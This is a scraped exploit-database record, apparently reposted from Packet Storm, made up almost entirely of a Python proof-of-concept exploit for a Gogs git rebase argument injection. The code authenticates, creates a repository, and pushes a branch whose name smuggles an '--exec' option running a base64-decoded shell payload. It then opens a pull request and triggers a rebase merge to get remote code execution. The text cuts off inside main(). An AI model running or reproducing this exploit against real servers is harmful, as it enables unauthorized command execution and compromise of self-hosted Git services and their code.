{"id":62296,"date":"2026-06-12T12:42:30","date_gmt":"2026-06-12T12:42:30","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=62296"},"modified":"2026-06-12T12:42:30","modified_gmt":"2026-06-12T12:42:30","slug":"gogs-0142-argument-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=62296","title":{"rendered":"\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:18&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an argument injection vulnerability in Gogs versions 0.14.2 and below and versions 0.15.0+dev and below&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Gogs 0.14.2 Argument Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223338&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Gogs Git Rebase Argument Injection RCE                                                                           |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/github.com\/gogs\/gogs                                                                                     |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    :  This Python script is an exploit framework targeting an argument injection vulnerability in Gogs reported as GHSA-qf6p-p7ww-cwr9 in Gogs \\u003c= 0.14.2 and \\u003c= 0.15.0+dev.\\n    \\n    \\n    [+] POC        :  \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import os\\n    import re\\n    import json\\n    import tempfile\\n    import shutil\\n    import subprocess\\n    import urllib.parse\\n    from typing import Optional, Dict, List, Tuple\\n    from html.parser import HTMLParser\\n    \\n    import requests\\n    from requests.exceptions import ConnectionError, Timeout\\n    class CSRFExtractor(HTMLParser):\\n        \\&#8221;\\&#8221;\\&#8221;Extract CSRF token from HTML response\\&#8221;\\&#8221;\\&#8221;\\n        def __init__(self):\\n            super().__init__()\\n            self.csrf_token = None\\n    \\n        def handle_starttag(self, tag, attrs):\\n            if tag == &#8216;input&#8217;:\\n                attrs_dict = dict(attrs)\\n                if attrs_dict.get(&#8216;name&#8217;) == &#8216;_csrf&#8217;:\\n                    self.csrf_token = attrs_dict.get(&#8216;value&#8217;)\\n    class GogsExploit:\\n        \\&#8221;\\&#8221;\\&#8221;Gogs Git Rebase Argument Injection RCE Exploit\\&#8221;\\&#8221;\\&#8221;\\n        COMMIT_TO_VERSION = {\\n            &#8216;5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb&#8217;: &#8216;0.14.2&#8217;,\\n            &#8216;f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f&#8217;: &#8216;0.14.1&#8217;,\\n            &#8217;36c26c4ccc3ca0339db53eb1fa41e4e86b55163d&#8217;: &#8216;0.14.0&#8217;,\\n            &#8216;d958a47a0e9d8747e399c687fdb3ec64a3b1a736&#8217;: &#8216;0.13.4&#8217;,\\n            &#8216;5084b4a9b77a506f5e287e82e945e1c6882b827a&#8217;: &#8216;0.13.3&#8217;,\\n            &#8216;593c7b6db601c68d16b2fb9a7e1194cb816f5efb&#8217;: &#8216;0.13.2&#8217;,\\n            &#8216;0c40e600a275d490481cfeea53705810fbe94d9b&#8217;: &#8216;0.13.1&#8217;,\\n            &#8216;8c21874c00b6100d46b662f65baeb40647442f42&#8217;: &#8216;0.13.0&#8217;,\\n            &#8216;c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b&#8217;: &#8216;0.12.11&#8217;,\\n            &#8216;1ce5171ae170750298c150874e718740dd7ef69f&#8217;: &#8216;0.12.10&#8217;,\\n            &#8216;012a1ba19ed2f8f5185be4254f655ba6c4b34db2&#8217;: &#8216;0.12.9&#8217;,\\n            &#8216;7f8799c01f264eb7770766621fb68debee414b68&#8217;: &#8216;0.12.8&#8217;,\\n            &#8216;d06ba7e527fcc462aecdb660ce001e87d94f024c&#8217;: &#8216;0.12.7&#8217;,\\n            &#8216;26395294bdef382b577fd60234e5bb14f4090cc8&#8217;: &#8216;0.12.6&#8217;\\n        }\\n        def __init__(self, target_url: str, username: str, password: str,\\n                     exploit_method: str = &#8216;own_repo&#8217;, repo_owner: Optional[str] = None,\\n                     repo_name: Optional[str] = None, enable_rebase: bool = True,\\n                     payload: str = &#8221;, ssl: bool = False, wfs_delay: int = 30):\\n            self.target_url = target_url.rstrip(&#8216;\/&#8217;)\\n            self.username = username\\n            self.password = password\\n            self.exploit_method = exploit_method\\n            self.repo_owner = repo_owner\\n            self.repo_name = repo_name\\n            self.enable_rebase = enable_rebase\\n            self.payload = payload\\n            self.ssl = ssl\\n            self.wfs_delay = wfs_delay\\n            self.session = requests.Session()\\n            self.api_token = None\\n            self.need_cleanup = False\\n            self.tmpdir = None\\n            self.repo_path = None\\n            self.malicious_branch = None\\n            self.feature_branch = None\\n            self.payload_file = None\\n            self.bat_file = None\\n            self.payload_content = None\\n            self.pr_number = None\\n            self.default_branch = &#8216;master&#8217;\\n        def _normalize_uri(self, *parts) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Normalize URI by joining parts\\&#8221;\\&#8221;\\&#8221;\\n            return &#8216;\/&#8217;.join(str(p).strip(&#8216;\/&#8217;) for p in parts if p)\\n        def _request(self, method: str, path: str, **kwargs) -\\u003e Optional[requests.Response]:\\n            \\&#8221;\\&#8221;\\&#8221;Make HTTP request with proper URI construction\\&#8221;\\&#8221;\\&#8221;\\n            url = f\\&#8221;{self.target_url}{path}\\&#8221; if path.startswith(&#8216;\/&#8217;) else f\\&#8221;{self.target_url}\/{path}\\&#8221;\\n            try:\\n                return self.session.request(method, url, timeout=30, verify=self.ssl, **kwargs)\\n            except (ConnectionError, Timeout) as e:\\n                print(f\\&#8221;Request failed: {e}\\&#8221;)\\n                return None\\n        def _extract_csrf(self, response: requests.Response) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Extract CSRF token from HTML response\\&#8221;\\&#8221;\\&#8221;\\n            if not response:\\n                raise ValueError(\\&#8221;No response to extract CSRF from\\&#8221;)\\n            parser = CSRFExtractor()\\n            parser.feed(response.text)\\n            if not parser.csrf_token:\\n                raise ValueError(\\&#8221;CSRF token not found in response\\&#8221;)\\n            return parser.csrf_token\\n        def _basic_auth(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Create Basic authentication header\\&#8221;\\&#8221;\\&#8221;\\n            import base64\\n            credentials = f\\&#8221;{self.username}:{self.password}\\&#8221;\\n            encoded = base64.b64encode(credentials.encode()).decode()\\n            return f\\&#8221;Basic {encoded}\\&#8221;\\n        def _git_available(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Check if git is installed\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                subprocess.run([&#8216;git&#8217;, &#8216;&#8211;version&#8217;], capture_output=True, check=True)\\n                return True\\n            except (subprocess.CalledProcessError, FileNotFoundError):\\n                return False\\n        def _run_git(self, args: List[str], cwd: Optional[str] = None) -\\u003e Tuple[str, bool]:\\n            \\&#8221;\\&#8221;\\&#8221;Run git command and return (output, success)\\&#8221;\\&#8221;\\&#8221;\\n            env = {&#8216;GIT_TERMINAL_PROMPT&#8217;: &#8216;0&#8217;}\\n            try:\\n                result = subprocess.run(\\n                    [&#8216;git&#8217;] + args, cwd=cwd, env=env,\\n                    capture_output=True, text=True, check=False\\n                )\\n                if result.returncode != 0:\\n                    print(f\\&#8221;Git {&#8216; &#8216;.join(args)} failed: {result.stderr.strip()}\\&#8221;)\\n                    return result.stderr, False\\n                return result.stdout, True\\n            except Exception as e:\\n                print(f\\&#8221;Git error: {e}\\&#8221;)\\n                return str(e), False\\n        def check(self) -\\u003e Tuple[bool, str]:\\n            \\&#8221;\\&#8221;\\&#8221;Check if target is vulnerable\\&#8221;\\&#8221;\\&#8221;\\n            res = self._request(&#8216;GET&#8217;, &#8216;\/&#8217;)\\n            if not res:\\n                return False, \\&#8221;Target did not respond\\&#8221;\\n            if not re.search(r&#8217;\\u003cmeta +name=\\&#8221;author\\&#8221; +content=\\&#8221;Gogs\\&#8221;&#8216;, res.text):\\n                return False, \\&#8221;Target does not appear to be running Gogs\\&#8221;\\n            version = None\\n            hash_match = re.search(r&#8217;gogs\\\\.min\\\\.css\\\\?v=([a-f0-9]{40})&#8217;, res.text)\\n            if hash_match:\\n                commit_hash = hash_match.group(1)\\n                version = self.COMMIT_TO_VERSION.get(commit_hash)\\n            if version:\\n                ver_parts = list(map(int, version.split(&#8216;.&#8217;)))\\n                if ver_parts \\u003c= [0, 14, 2]:\\n                    return True, f\\&#8221;Gogs {version} detected (vulnerable)\\&#8221;\\n                else:\\n                    return False, f\\&#8221;Gogs {version} detected (not vulnerable)\\&#8221;\\n            return True, \\&#8221;Gogs detected, but could not determine version\\&#8221;\\n        def _gogs_login(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Login to Gogs web interface\\&#8221;\\&#8221;\\&#8221;\\n            res = self._request(&#8216;POST&#8217;, &#8216;\/user\/login&#8217;,\\n                               data={&#8216;user_name&#8217;: self.username, &#8216;password&#8217;: self.password},\\n                               allow_redirects=False)\\n            if not res or res.status_code != 302:\\n                raise Exception(\\&#8221;Login failed &#8211; check credentials\\&#8221;)\\n    \\n        def _create_api_token(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Create API token for authenticated requests\\&#8221;\\&#8221;\\&#8221;\\n            preflight = self._request(&#8216;GET&#8217;, &#8216;\/api\/v1&#8217;)\\n            if not preflight:\\n                raise Exception(\\&#8221;Gogs API not responding\\&#8221;)\\n            import base64\\n            auth_header = self._basic_auth()\\n            import random\\n            import string\\n            token_name = f\\&#8221;msf_{&#8221;.join(random.choices(string.ascii_lowercase, k=8))}\\&#8221;\\n            res = self._request(&#8216;POST&#8217;, f&#8217;\/api\/v1\/users\/{self.username}\/tokens&#8217;,\\n                               headers={&#8216;Authorization&#8217;: auth_header},\\n                               json={&#8216;name&#8217;: token_name})\\n            if not res or res.status_code != 201:\\n                raise Exception(f\\&#8221;API token creation failed (HTTP {res.status_code if res else &#8216;None&#8217;})\\&#8221;)\\n            self.api_token = res.json()[&#8216;sha1&#8217;]\\n            print(f\\&#8221;[*] API token created: {self.api_token[:10]}&#8230;\\&#8221;)\\n        def _api_request(self, method: str, path: str, data: Optional[Dict] = None) -\\u003e Optional[requests.Response]:\\n            \\&#8221;\\&#8221;\\&#8221;Make authenticated API request\\&#8221;\\&#8221;\\&#8221;\\n            headers = {&#8216;Authorization&#8217;: f&#8217;token {self.api_token}&#8217;}\\n            if data:\\n                return self._request(method, path, headers=headers, json=data)\\n            return self._request(method, path, headers=headers)\\n        def _create_repo(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Create a new repository\\&#8221;\\&#8221;\\&#8221;\\n            import random\\n            import string\\n            repo_name = f\\&#8221;{&#8221;.join(random.choices(string.ascii_lowercase, k=4))}-{&#8221;.join(random.choices(string.ascii_lowercase, k=4))}\\&#8221;\\n            self.repo_name = repo_name\\n            self.repo_path = f\\&#8221;{self.username}\/{self.repo_name}\\&#8221;\\n            res = self._api_request(&#8216;POST&#8217;, &#8216;\/api\/v1\/user\/repos&#8217;,\\n                                   {&#8216;name&#8217;: repo_name, &#8216;private&#8217;: True, &#8216;default_branch&#8217;: &#8216;master&#8217;})\\n            if not res or res.status_code != 201:\\n                raise Exception(f\\&#8221;Repo creation failed: {res.status_code if res else &#8216;None&#8217;}\\&#8221;)\\n        def _enable_rebase_merge(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Enable rebase merge in repository settings\\&#8221;\\&#8221;\\&#8221;\\n            res = self._request(&#8216;POST&#8217;, f&#8217;\/{self.repo_path}\/settings&#8217;,\\n                               data={&#8216;action&#8217;: &#8216;advanced&#8217;, &#8216;enable_pulls&#8217;: &#8216;on&#8217;, &#8216;pulls_allow_rebase&#8217;: &#8216;on&#8217;},\\n                               allow_redirects=False)\\n            if not res or res.status_code not in [200, 302]:\\n                raise Exception(\\&#8221;Failed to enable rebase merge\\&#8221;)\\n        def _validate_existing_repo(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Validate existing repository is accessible\\&#8221;\\&#8221;\\&#8221;\\n            res = self._api_request(&#8216;GET&#8217;, f&#8217;\/api\/v1\/repos\/{self.repo_path}&#8217;)\\n            if not res or res.status_code != 200:\\n                raise Exception(f\\&#8221;Repository {self.repo_path} not found or not accessible\\&#8221;)\\n            repo_info = res.json()\\n            self.default_branch = repo_info.get(&#8216;default_branch&#8217;, &#8216;master&#8217;)\\n            print(f\\&#8221;[*] Default branch: {self.default_branch}\\&#8221;)\\n        def _try_enable_rebase(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Try to enable rebase merge in existing repository\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Attempting to enable rebase merge in repository settings\\&#8221;)\\n            settings_uri = self._normalize_uri(self.repo_path, &#8216;settings&#8217;)\\n            res = self._request(&#8216;GET&#8217;, f&#8217;\/{settings_uri}&#8217;)\\n            if not res or res.status_code != 200:\\n                print(\\&#8221;[-] Could not access repository settings (may require repo admin)\\&#8221;)\\n                return\\n            csrf = self._extract_csrf(res)\\n            res = self._request(&#8216;POST&#8217;, f&#8217;\/{settings_uri}&#8217;,\\n                               data={&#8216;_csrf&#8217;: csrf, &#8216;action&#8217;: &#8216;advanced&#8217;,\\n                                     &#8216;enable_pulls&#8217;: &#8216;on&#8217;, &#8216;pulls_allow_rebase&#8217;: &#8216;on&#8217;},\\n                               allow_redirects=False)\\n            if res and res.status_code in [200, 302]:\\n                print(\\&#8221;[+] Rebase merge enabled\\&#8221;)\\n            else:\\n                print(\\&#8221;[-] Could not enable rebase merge\\&#8221;)\\n        def _build_clone_url(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Build git clone URL with credentials\\&#8221;\\&#8221;\\&#8221;\\n            user_enc = urllib.parse.quote(self.username, safe=&#8221;)\\n            pass_enc = urllib.parse.quote(self.password, safe=&#8221;)\\n            from urllib.parse import urlparse\\n            parsed = urlparse(self.target_url)\\n            authority = f\\&#8221;{parsed.hostname}:{parsed.port}\\&#8221; if parsed.port else parsed.hostname\\n            scheme = &#8216;https&#8217; if self.ssl else &#8216;http&#8217;\\n            repo_path = self.repo_path.rstrip(&#8216;\/&#8217;)\\n            return f\\&#8221;{scheme}:\/\/{user_enc}:{pass_enc}@{authority}\/{repo_path}.git\\&#8221;\\n        def _setup_branches_via_git(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Setup branches using local git\\&#8221;\\&#8221;\\&#8221;\\n            self.tmpdir = tempfile.mkdtemp(prefix=&#8217;msf_gogs_&#8217;)\\n            workdir = os.path.join(self.tmpdir, &#8216;work&#8217;)\\n            clone_url = self._build_clone_url()\\n            if self.exploit_method == &#8216;own_repo&#8217;:\\n                self._run_git([&#8216;init&#8217;, workdir])\\n                self._run_git([&#8216;remote&#8217;, &#8216;add&#8217;, &#8216;origin&#8217;, clone_url], workdir)\\n            else:\\n                self._run_git([&#8216;clone&#8217;, clone_url, workdir])\\n            import random\\n            import string\\n            self._run_git([&#8216;config&#8217;, &#8216;user.email&#8217;, f\\&#8221;{&#8221;.join(random.choices(string.ascii_lowercase, k=8))}@example.com\\&#8221;], workdir)\\n            self._run_git([&#8216;config&#8217;, &#8216;user.name&#8217;, &#8221;.join(random.choices(string.ascii_lowercase, k=8))], workdir)\\n            if self.exploit_method == &#8216;own_repo&#8217;:\\n                with open(os.path.join(workdir, &#8216;README.md&#8217;), &#8216;w&#8217;) as f:\\n                    f.write(f\\&#8221;# {self.repo_name}\\\\n\\&#8221;)\\n                self._run_git([&#8216;add&#8217;, &#8216;.&#8217;], workdir)\\n                self._run_git([&#8216;commit&#8217;, &#8216;-m&#8217;, &#8216;init&#8217;], workdir)\\n                self._run_git([&#8216;push&#8217;, &#8216;-u&#8217;, &#8216;origin&#8217;, &#8216;master&#8217;], workdir)\\n            self.feature_branch = f\\&#8221;feature-{&#8221;.join(random.choices(string.ascii_lowercase, k=6))}\\&#8221;\\n            self._run_git([&#8216;checkout&#8217;, &#8216;-b&#8217;, self.feature_branch], workdir)\\n            with open(os.path.join(workdir, &#8216;feature.txt&#8217;), &#8216;w&#8217;) as f:\\n                f.write(&#8221;.join(random.choices(string.ascii_lowercase, k=8)))\\n            self._run_git([&#8216;add&#8217;, &#8216;.&#8217;], workdir)\\n            self._run_git([&#8216;commit&#8217;, &#8216;-m&#8217;, &#8216;feature&#8217;], workdir)\\n            self._run_git([&#8216;push&#8217;, &#8216;origin&#8217;, self.feature_branch], workdir)\\n            base_branch = &#8216;master&#8217; if self.exploit_method == &#8216;own_repo&#8217; else self.default_branch\\n            self._run_git([&#8216;checkout&#8217;, base_branch], workdir)\\n            with open(os.path.join(workdir, &#8216;diverge.txt&#8217;), &#8216;w&#8217;) as f:\\n                f.write(&#8221;.join(random.choices(string.ascii_lowercase, k=8)))\\n            import base64\\n            if self.payload:\\n                if &#8216;win&#8217; in self.payload.lower():\\n                    import random\\n                    rand_name = &#8221;.join(random.choices(string.ascii_lowercase, k=6))\\n                    self.payload_content = self.payload\\n                    self.payload_file = f\\&#8221;.{rand_name}\\&#8221;\\n                    self.bat_file = f\\&#8221;.{rand_name}.bat\\&#8221;\\n                    self.malicious_branch = f\\&#8221;&#8211;exec=sh${{IFS}}{self.payload_file}\\&#8221;\\n                    with open(os.path.join(workdir, self.payload_file), &#8216;w&#8217;) as f:\\n                        f.write(f\\&#8221;cmd.exe \/\/c {self.bat_file} \\u003c\/dev\/null \\u003e\/dev\/null 2\\u003e\\u00261 \\u0026\\\\n\\&#8221;)\\n                    with open(os.path.join(workdir, self.bat_file), &#8216;w&#8217;) as f:\\n                        f.write(self.payload_content + \\&#8221;\\\\n\\&#8221;)\\n                else:\\n                    wrapped = f\\&#8221;({self.payload}) \\u003c\/dev\/null \\u003e\/dev\/null 2\\u003e\\u00261 \\u0026\\&#8221;\\n                    b64 = base64.b64encode(wrapped.encode()).decode()\\n                    padding = 0\\n                    while &#8216;\/\/&#8217; in b64 and padding \\u003c 50:\\n                        padding += 1\\n                        b64 = base64.b64encode((&#8216; &#8216; * padding + wrapped).encode()).decode()\\n                    self.malicious_branch = f\\&#8221;&#8211;exec=echo${{IFS}}{b64}|base64${{IFS}}-d|sh\\&#8221;\\n            self._run_git([&#8216;add&#8217;, &#8216;.&#8217;], workdir)\\n            self._run_git([&#8216;commit&#8217;, &#8216;-m&#8217;, &#8216;diverge&#8217;], workdir)\\n            self._run_git([&#8216;push&#8217;, &#8216;origin&#8217;, f\\&#8221;HEAD:refs\/heads\/{self.malicious_branch}\\&#8221;], workdir)\\n            print(f\\&#8221;[+] Malicious branch: {self.malicious_branch}\\&#8221;)\\n            print(f\\&#8221;[+] Feature branch: {self.feature_branch}\\&#8221;)\\n        def _create_pull_request(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Create pull request for the feature branch\\&#8221;\\&#8221;\\&#8221;\\n            encoded_branch = urllib.parse.quote(self.malicious_branch, safe=&#8221;)\\n            compare_uri = f\\&#8221;\/{self.repo_path}\/compare\/{encoded_branch}&#8230;{self.feature_branch}\\&#8221;\\n            import random\\n            import string\\n            res = self._request(&#8216;POST&#8217;, compare_uri,\\n                               data={&#8216;title&#8217;: &#8221;.join(random.choices(string.ascii_lowercase, k=6)),\\n                                     &#8216;content&#8217;: &#8221;, &#8216;assignee_id&#8217;: &#8216;0&#8217;, &#8216;milestone_id&#8217;: &#8216;0&#8217;},\\n                               allow_redirects=False)\\n            if not res:\\n                raise Exception(\\&#8221;Compare page unreachable\\&#8221;)\\n            if res.status_code in [302, 303]:\\n                location = res.headers.get(&#8216;Location&#8217;, &#8221;)\\n                pr_num = location.rstrip(&#8216;\/&#8217;).split(&#8216;\/&#8217;)[-1]\\n                if pr_num.isdigit():\\n                    return pr_num\\n            res = self._api_request(&#8216;GET&#8217;, f&#8217;\/api\/v1\/repos\/{self.repo_path}\/pulls?state=open&#8217;)\\n            if res and res.status_code == 200:\\n                pulls = res.json()\\n                if pulls:\\n                    return str(pulls[-1][&#8216;number&#8217;])\\n            raise Exception(\\&#8221;PR creation failed\\&#8221;)\\n        def _trigger_rebase_merge(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Trigger the rebase merge to execute payload\\&#8221;\\&#8221;\\&#8221;\\n            merge_uri = f\\&#8221;\/{self.repo_path}\/pulls\/{self.pr_number}\/merge\\&#8221;\\n            pr_uri = f\\&#8221;\/{self.repo_path}\/pulls\/{self.pr_number}\\&#8221;\\n            res = self._request(&#8216;GET&#8217;, f&#8217;\/{pr_uri}&#8217;)\\n            if not res:\\n                raise Exception(\\&#8221;Could not load PR page\\&#8221;)\\n            csrf = self._extract_csrf(res)\\n            self._request(&#8216;POST&#8217;, f&#8217;\/{merge_uri}&#8217;,\\n                         params={&#8216;merge_style&#8217;: &#8216;rebase_before_merging&#8217;},\\n                         data={&#8216;_csrf&#8217;: csrf, &#8216;commit_description&#8217;: &#8221;},\\n                         timeout=self.wfs_delay)\\n        def _cleanup_own_repo(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Delete the temporary repository\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Cleaning up &#8211; deleting repository {self.repo_name}\\&#8221;)\\n            self._api_request(&#8216;DELETE&#8217;, f&#8217;\/api\/v1\/repos\/{self.repo_path}&#8217;)\\n            verify = self._api_request(&#8216;GET&#8217;, f&#8217;\/api\/v1\/repos\/{self.repo_path}&#8217;)\\n            if verify and verify.status_code == 404:\\n                print(f\\&#8221;[+] Repository {self.repo_name} deleted\\&#8221;)\\n            else:\\n                print(f\\&#8221;[-] Repository may still exist. Delete {self.repo_path} manually.\\&#8221;)\\n        def _delete_remote_branches(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Delete malicious and feature branches from existing repo\\&#8221;\\&#8221;\\&#8221;\\n            if not self.tmpdir:\\n                return\\n            workdir = os.path.join(self.tmpdir, &#8216;work&#8217;)\\n            if not os.path.isdir(workdir):\\n                return\\n            if self.malicious_branch:\\n                print(f\\&#8221;[*] Deleting malicious branch from {self.repo_path}\\&#8221;)\\n                _, success = self._run_git([&#8216;push&#8217;, &#8216;origin&#8217;, &#8216;&#8211;delete&#8217;, f&#8217;refs\/heads\/{self.malicious_branch}&#8217;], workdir)\\n                if success:\\n                    print(\\&#8221;[+] Malicious branch deleted\\&#8221;)\\n                else:\\n                    print(f\\&#8221;[-] Could not delete malicious branch. Delete it manually from {self.repo_path}\\&#8221;)\\n            if self.feature_branch:\\n                print(f\\&#8221;[*] Deleting feature branch from {self.repo_path}\\&#8221;)\\n                _, success = self._run_git([&#8216;push&#8217;, &#8216;origin&#8217;, &#8216;&#8211;delete&#8217;, self.feature_branch], workdir)\\n                if success:\\n                    print(\\&#8221;[+] Feature branch deleted\\&#8221;)\\n                else:\\n                    print(f\\&#8221;[-] Could not delete feature branch from {self.repo_path}\\&#8221;)\\n        def _close_pull_request(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Close the pull request\\&#8221;\\&#8221;\\&#8221;\\n            if not self.pr_number:\\n                return\\n            pr_page = f\\&#8221;\/{self.repo_path}\/pulls\/{self.pr_number}\\&#8221;\\n            res = self._request(&#8216;GET&#8217;, pr_page)\\n            if not res:\\n                print(f\\&#8221;[-] Could not load PR page to close PR #{self.pr_number}\\&#8221;)\\n                return\\n            try:\\n                csrf = self._extract_csrf(res)\\n            except ValueError:\\n                print(f\\&#8221;[-] Could not find CSRF token to close PR #{self.pr_number}\\&#8221;)\\n                return\\n            comment_uri = f\\&#8221;\/{self.repo_path}\/issues\/{self.pr_number}\/comments\\&#8221;\\n            res = self._request(&#8216;POST&#8217;, comment_uri,\\n                               data={&#8216;_csrf&#8217;: csrf, &#8216;status&#8217;: &#8216;close&#8217;, &#8216;content&#8217;: &#8221;})\\n    \\n            if res and res.status_code in [200, 302]:\\n                print(f\\&#8221;[+] PR #{self.pr_number} closed\\&#8221;)\\n            else:\\n                print(f\\&#8221;[-] Could not close PR #{self.pr_number}\\&#8221;)\\n        def _cleanup_existing_repo(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Clean up artifacts from existing repository\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Cleaning up artifacts from {self.repo_path}\\&#8221;)\\n            self._delete_remote_branches()\\n            self._close_pull_request()\\n        def cleanup(self) -\\u003e None:\\n            \\&#8221;\\&#8221;\\&#8221;Clean up resources\\&#8221;\\&#8221;\\&#8221;\\n            if self.need_cleanup:\\n                if self.exploit_method == &#8216;own_repo&#8217;:\\n                    self._cleanup_own_repo()\\n                else:\\n                    self._cleanup_existing_repo()\\n            if self.tmpdir and os.path.isdir(self.tmpdir):\\n                shutil.rmtree(self.tmpdir)\\n                print(\\&#8221;[*] Local temp directory cleaned up\\&#8221;)\\n            if self.api_token:\\n                print(\\&#8221;[!] API token persists on the target (Gogs API does not support token deletion)\\&#8221;)\\n        def exploit(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Execute the exploit\\&#8221;\\&#8221;\\&#8221;\\n            if not self._git_available():\\n                print(\\&#8221;[-] Local git installation required but not found\\&#8221;)\\n                return False\\n            if self.exploit_method == &#8216;existing_repo&#8217;:\\n                if not self.repo_owner or not self.repo_name:\\n                    print(\\&#8221;[-] REPO_OWNER and REPO_NAME required for existing_repo method\\&#8221;)\\n                    return False\\n                self.repo_path = f\\&#8221;{self.repo_owner}\/{self.repo_name}\\&#8221;\\n            print(f\\&#8221;[*] Executing exploit with payload: {self.payload[:50]}&#8230;\\&#8221;)\\n            print(f\\&#8221;[*] Authenticating as \\\\\\&#8221;{self.username}\\\\\\&#8221;\\&#8221;)\\n            self._create_api_token()\\n            self._gogs_login()\\n            print(\\&#8221;[+] Authenticated\\&#8221;)\\n            if self.exploit_method == &#8216;own_repo&#8217;:\\n                self._create_repo()\\n                self.need_cleanup = True\\n                print(f\\&#8221;[+] Repository &#8216;{self.repo_name}&#8217; created\\&#8221;)\\n                print(\\&#8221;[*] Enabling rebase merge in repository settings\\&#8221;)\\n                self._enable_rebase_merge()\\n                print(\\&#8221;[+] Rebase merge enabled\\&#8221;)\\n            else:\\n                print(f\\&#8221;[*] Using existing repository \\\\\\&#8221;{self.repo_path}\\\\\\&#8221;\\&#8221;)\\n                self._validate_existing_repo()\\n                self.need_cleanup = True\\n                if self.enable_rebase:\\n                    self._try_enable_rebase()\\n                else:\\n                    print(\\&#8221;[*] Assuming rebase merge is already enabled\\&#8221;)\\n            print(\\&#8221;[*] Pushing branches via git\\&#8221;)\\n            self._setup_branches_via_git()\\n            print(\\&#8221;[+] Branches pushed\\&#8221;)\\n            print(\\&#8221;[*] Creating pull request\\&#8221;)\\n            self.pr_number = self._create_pull_request()\\n            print(f\\&#8221;[+] PR #{self.pr_number} created\\&#8221;)\\n            print(\\&#8221;[*] Triggering rebase merge\\&#8221;)\\n            self._trigger_rebase_merge()\\n            print(\\&#8221;[+] Rebase merge triggered, waiting for shell&#8230;\\&#8221;)\\n            return True\\n    def main():\\n        \\&#8221;\\&#8221;\\&#8221;Example usage\\&#8221;\\&#8221;\\&#8221;\\n        import argparse\\n        parser = argparse.ArgumentParser(description=&#8217;Gogs Git Rebase Argument Injection RCE&#8217;)\\n        parser.add_argument(&#8216;url&#8217;, help=&#8217;Target Gogs URL (e.g., http:\/\/localhost:3000)&#8217;)\\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;username&#8217;, required=True, help=&#8217;Gogs username&#8217;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;password&#8217;, required=True, help=&#8217;Gogs password&#8217;)\\n        parser.add_argument(&#8216;-m&#8217;, &#8216;&#8211;method&#8217;, default=&#8217;own_repo&#8217;, choices=[&#8216;own_repo&#8217;, &#8216;existing_repo&#8217;],\\n                           help=&#8217;Exploit method&#8217;)\\n        parser.add_argument(&#8216;&#8211;repo-owner&#8217;, help=&#8217;Repository owner (for existing_repo)&#8217;)\\n        parser.add_argument(&#8216;&#8211;repo-name&#8217;, help=&#8217;Repository name (for existing_repo)&#8217;)\\n        parser.add_argument(&#8216;&#8211;payload&#8217;, required=True, help=&#8217;Command payload to execute&#8217;)\\n        parser.add_argument(&#8216;&#8211;ssl&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Use SSL\/TLS&#8217;)\\n        parser.add_argument(&#8216;&#8211;wfs-delay&#8217;, type=int, default=30, help=&#8217;Wait time for shell&#8217;)\\n        args = parser.parse_args()\\n        exploit = GogsExploit(\\n            target_url=args.url,\\n            username=args.username,\\n            password=args.password,\\n            exploit_method=args.method,\\n            repo_owner=args.repo_owner,\\n            repo_name=args.repo_name,\\n            payload=args.payload,\\n            ssl=args.ssl,\\n            wfs_delay=args.wfs_delay\\n        )\\n        try:\\n            vulnerable, msg = exploit.check()\\n            print(f\\&#8221;[*] Check result: {msg}\\&#8221;)\\n            if not vulnerable:\\n                print(\\&#8221;[-] Target does not appear vulnerable\\&#8221;)\\n                return\\n            success = exploit.exploit()\\n            if success:\\n                